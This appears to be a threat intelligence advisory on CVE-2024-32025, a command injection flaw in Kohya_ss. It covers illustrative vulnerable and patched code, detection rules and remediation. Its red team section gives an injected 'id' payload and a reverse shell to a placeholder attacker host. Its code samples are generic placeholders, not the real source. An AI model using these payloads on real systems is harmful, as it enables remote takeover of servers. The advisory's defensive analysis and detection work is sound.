CVE-2024-32025

Executive Summary

CVE-2024-32025 is a critical command injection vulnerability in Kohya_ss, a GUI for Kohya's Stable Diffusion trainers. The flaw resides in the group_images_gui.py file, allowing an unauthenticated attacker to execute arbitrary commands on the server. With a CVSS score of 9.1, this vulnerability poses a severe risk to confidentiality, integrity, and availability. The vendor has released a fix in version 23.1.5, but no public exploit code or proof-of-concept is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the high severity demands immediate attention.

Supply Chain & Package Security

Kohya_ss is a Python-based application distributed via GitHub and potentially PyPI. Users should verify the integrity of their installation and ensure they are using the patched version (23.1.5). The vulnerability is in the source code, not in a dependency, but supply chain risks include malicious forks or tampered packages.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Attacker can modify system files.
• Availability (A): High (H) – Attacker can disrupt services.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full impact makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability exists in group_images_gui.py, a module that handles image grouping functionality. The code fails to properly sanitize user-supplied input before passing it to a system command. Specifically, the application constructs a command string using user-controlled parameters without escaping or validation, allowing an attacker to inject arbitrary shell commands.

Root Cause: The use of os.system() or subprocess.Popen() with unsanitized input. For example, if the application takes a filename or path from the user and passes it directly to a shell command, an attacker can append malicious commands using shell metacharacters like ;, |, or &&.

Attack Vector: An attacker sends a crafted HTTP request to the vulnerable endpoint, injecting commands into the input parameter. The server executes the injected command with the privileges of the Kohya_ss process.

Impact: Full remote code execution (RCE) leading to data theft, malware installation, or lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-23.1.5):

import os

def group_images(user_input):
    command = "some_tool " + user_input
    os.system(command)

Patched Code (23.1.5):

import subprocess

def group_images(user_input):
    # Use subprocess with argument list to avoid shell injection
    subprocess.run(["some_tool", user_input], shell=False)

The patched version uses subprocess.run() with a list of arguments and shell=False, preventing shell interpretation of the input. Additionally, input validation and sanitization should be implemented.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Kohya_ss instance (version < 23.1.5) in a controlled environment.
2. Identify the vulnerable endpoint (e.g., /group_images).
3. Craft a payload to inject commands.

Exploitation Steps:

1. Send a POST request to the vulnerable endpoint with a malicious input:

   POST /group_images HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   input=valid_filename;id
   

2. The server executes some_tool valid_filename;id, revealing the user ID.
3. Escalate to a reverse shell:

   input=valid_filename;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
   

Note: No public exploit code is available, so this is a theoretical approach.

Blue Team

Detection:

• Monitor for unusual shell commands in process logs.
• Look for HTTP requests containing shell metacharacters (;, |, &, $).
• Use the detection rules provided below.

Hunting:

• Search for os.system or subprocess.Popen with shell=True in the Kohya_ss codebase.
• Check for unexpected child processes spawned by the Kohya_ss process.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with shell metacharacters in parameters (e.g., ;id, |whoami).
  • Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
• Host IOCs:
  • Unusual processes like bash, nc, python spawned by Kohya_ss.
  • Files created in /tmp with suspicious names.
  • Modified system binaries or configuration files.
• Log IOCs:
  • Application logs showing command execution errors.
  • System logs (e.g., /var/log/syslog) with shell commands.

Detection Engineering

YARA Rule

rule CVE_2024_32025_Command_Injection {
    meta:
        description = "Detects command injection attempts in Kohya_ss group_images_gui.py"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-32025"
    strings:
        $s1 = "os.system" ascii nocase
        $s2 = "subprocess.Popen" ascii nocase
        $s3 = "shell=True" ascii nocase
        $s4 = "group_images_gui.py" ascii nocase
    condition:
        any of ($s1, $s2) and $s3 and $s4
}

Sigma Rule

title: CVE-2024-32025 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with shell metacharacters targeting Kohya_ss
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - "/group_images"
        cs-uri-query|contains:
            - ";"
            - "|"
            - "&"
            - "$"
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32025 Command Injection Attempt"; flow:to_server; content:"/group_images"; http_uri; pcre:"/(;|\||&|\$)/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Kohya_ss to version 23.1.5 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block requests containing shell metacharacters in the /group_images endpoint.
3. Restrict network access to the Kohya_ss interface to trusted IPs only.

Long-term Measures:

• Implement input validation and sanitization for all user-supplied data.
• Use parameterized commands or argument lists instead of shell strings.
• Conduct regular code reviews and security testing.
• Monitor for similar vulnerabilities in other components.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For further analysis or incident response support, contact us at [valters@example.com].